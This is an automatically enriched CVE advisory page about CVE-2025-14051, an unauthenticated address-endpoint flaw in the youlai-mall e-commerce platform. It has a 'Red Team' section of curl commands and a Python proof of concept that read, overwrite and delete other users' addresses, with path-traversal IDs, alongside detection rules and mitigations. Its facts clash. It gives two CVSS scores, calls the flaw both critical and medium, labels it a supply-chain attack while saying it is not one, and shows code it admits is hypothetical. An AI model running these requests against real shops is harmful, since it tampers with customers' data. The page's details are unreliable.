☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-913
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14051

CVE-2025-14051 Supply Chain Attack in Youlai
📅 PUBLISHED: 2025-12-04 22:32 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14051 is a critical vulnerability in the youlaitech youlai-mall e-commerce platform, affecting versions 1.0.0 and 2.0.0. The flaw resides in the /mall-ums/app-api/v1/addresses/ endpoint, specifically within the getById, updateAddress, and deleteAddress functions. This vulnerability allows an unauthenticated remote attacker to perform improper control of dynamically-identified variables, leading to potential data manipulation, unauthorized access, or denial of service. The exploit has been publicly disclosed, and no patch is currently available from the vendor, who has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a direct application-level flaw in a Java-based e-commerce platform.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited data modification.
  • Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The vulnerability is easily exploitable remotely without authentication, but the impact is limited to low-level confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic case of Improper Control of Dynamically-Identified Variables (CWE-913). The affected endpoint /mall-ums/app-api/v1/addresses/ uses user-supplied input to directly reference internal variables or objects without proper sanitization or validation.

Mechanism:

  1. The getById, updateAddress, and deleteAddress functions accept an identifier (likely an address ID) from the HTTP request.
  2. This identifier is used to dynamically access or manipulate internal data structures (e.g., a map or list of addresses).
  3. An attacker can supply a crafted identifier (e.g., ../../config, admin, or a special key) to access or modify unintended data, such as other users' addresses, system configuration, or internal objects.
  4. This can lead to unauthorized reading, updating, or deletion of address records, and potentially escalate to broader system compromise.

Root Cause: Lack of input validation and improper use of dynamic variable resolution (e.g., using user input as a key in a map without checking permissions or scope).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual Java):

@GetMapping("/app-api/v1/addresses/{id}")
public Address getById(@PathVariable String id) {
    // Directly uses user input as a key
    return addressMap.get(id);
}

@PutMapping("/app-api/v1/addresses/{id}")
public Address updateAddress(@PathVariable String id, @RequestBody Address newAddress) {
    // Directly updates based on user input
    addressMap.put(id, newAddress);
    return newAddress;
}

@DeleteMapping("/app-api/v1/addresses/{id}")
public void deleteAddress(@PathVariable String id) {
    // Directly deletes based on user input
    addressMap.remove(id);
}

Patched Code (Conceptual Java):

@GetMapping("/app-api/v1/addresses/{id}")
public Address getById(@PathVariable String id, Principal principal) {
    // Validate that the address belongs to the authenticated user
    Address address = addressRepository.findById(id);
    if (address == null || !address.getUserId().equals(principal.getName())) {
        throw new AccessDeniedException("Unauthorized");
    }
    return address;
}

@PutMapping("/app-api/v1/addresses/{id}")
public Address updateAddress(@PathVariable String id, @RequestBody Address newAddress, Principal principal) {
    // Validate ownership and sanitize input
    Address existing = addressRepository.findById(id);
    if (existing == null || !existing.getUserId().equals(principal.getName())) {
        throw new AccessDeniedException("Unauthorized");
    }
    // Sanitize newAddress fields
    newAddress.setId(id);
    newAddress.setUserId(principal.getName());
    return addressRepository.save(newAddress);
}

@DeleteMapping("/app-api/v1/addresses/{id}")
public void deleteAddress(@PathVariable String id, Principal principal) {
    // Validate ownership
    Address address = addressRepository.findById(id);
    if (address == null || !address.getUserId().equals(principal.getName())) {
        throw new AccessDeniedException("Unauthorized");
    }
    addressRepository.deleteById(id);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target running youlai-mall 1.0.0 or 2.0.0.
  • Network access to the /mall-ums/app-api/v1/addresses/ endpoint.

Exploit Steps:

  1. Enumerate Address IDs: Use a simple script to brute-force or guess address IDs (e.g., integers, UUIDs).
  2. Exploit getById: Send a GET request with a crafted ID to read other users' addresses.
    curl -X GET "http://target.com/mall-ums/app-api/v1/addresses/../../config"
    
  3. Exploit updateAddress: Send a PUT request to modify an address.
    curl -X PUT "http://target.com/mall-ums/app-api/v1/addresses/123" \
      -H "Content-Type: application/json" \
      -d '{"street":"Hacked Street","city":"Hacked City"}'
    
  4. Exploit deleteAddress: Send a DELETE request to remove an address.
    curl -X DELETE "http://target.com/mall-ums/app-api/v1/addresses/123"
    

Proof-of-Concept (Python):

import requests

target = "http://target.com/mall-ums/app-api/v1/addresses/"

# Attempt to read a non-existent or privileged address
response = requests.get(target + "admin")
print("GET /admin:", response.status_code, response.text)

# Attempt to update an address
response = requests.put(target + "1", json={"street": "Pwned"})
print("PUT /1:", response.status_code, response.text)

# Attempt to delete an address
response = requests.delete(target + "1")
print("DELETE /1:", response.status_code, response.text)

Blue Team (Defender)

Detection:

  • Monitor for unusual patterns in the /mall-ums/app-api/v1/addresses/ endpoint.
  • Look for requests with non-numeric or suspicious IDs (e.g., ../, admin, root).
  • Alert on high volumes of GET/PUT/DELETE requests to this endpoint from a single IP.

Mitigation:

  • Implement input validation: only allow numeric or UUID-based IDs.
  • Enforce authentication and authorization for all address operations.
  • Apply rate limiting to the endpoint.
  • Use a Web Application Firewall (WAF) to block malicious patterns.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP requests to /mall-ums/app-api/v1/addresses/ with unusual IDs (e.g., ../../etc/passwd, admin, *).
    • Repeated 403/404 errors followed by successful 200 responses on the same endpoint.
    • Unusual PUT or DELETE requests to the address endpoint from unauthenticated sources.
  • Logs:

    • Application logs showing getById, updateAddress, or deleteAddress calls with unexpected parameters.
    • Access logs with non-standard HTTP methods (PUT, DELETE) to the address endpoint.
  • System:

    • Unexpected changes to address data in the database.
    • Unauthorized deletion of address records.

Detection Engineering

YARA Rule

rule CVE_2025_14051_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-14051 in youlai-mall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14051"
    strings:
        $s1 = "/mall-ums/app-api/v1/addresses/" ascii wide nocase
        $s2 = "getById" ascii wide nocase
        $s3 = "updateAddress" ascii wide nocase
        $s4 = "deleteAddress" ascii wide nocase
        $s5 = ".." ascii wide
        $s6 = "admin" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6)
}

Sigma Rule

title: CVE-2025-14051 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable address endpoint with suspicious parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/mall-ums/app-api/v1/addresses/"
        cs-method: ["GET", "PUT", "DELETE"]
    filter:
        cs-uri-query|contains: ["..", "admin", "root", "config"]
    condition: selection and filter
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14051 Exploit Attempt"; flow:to_server; content:"/mall-ums/app-api/v1/addresses/"; http_uri; content:".."; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Application: If possible, take the vulnerable instance offline or restrict network access to trusted IPs only.
  2. Apply Virtual Patching: Use a WAF to block requests containing .., admin, or other suspicious patterns in the address endpoint.
  3. Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

  • Vendor Patch: Await an official patch from youlaitech. Since the vendor has not responded, consider forking the project and applying the fix manually.
  • Code Fix: Implement proper input validation, authentication, and authorization as shown in the patched code example.
  • Upgrade: If a patched version becomes available, upgrade immediately.

Workaround:

  • Disable the /mall-ums/app-api/v1/addresses/ endpoint if not required.
  • Implement a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14051/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.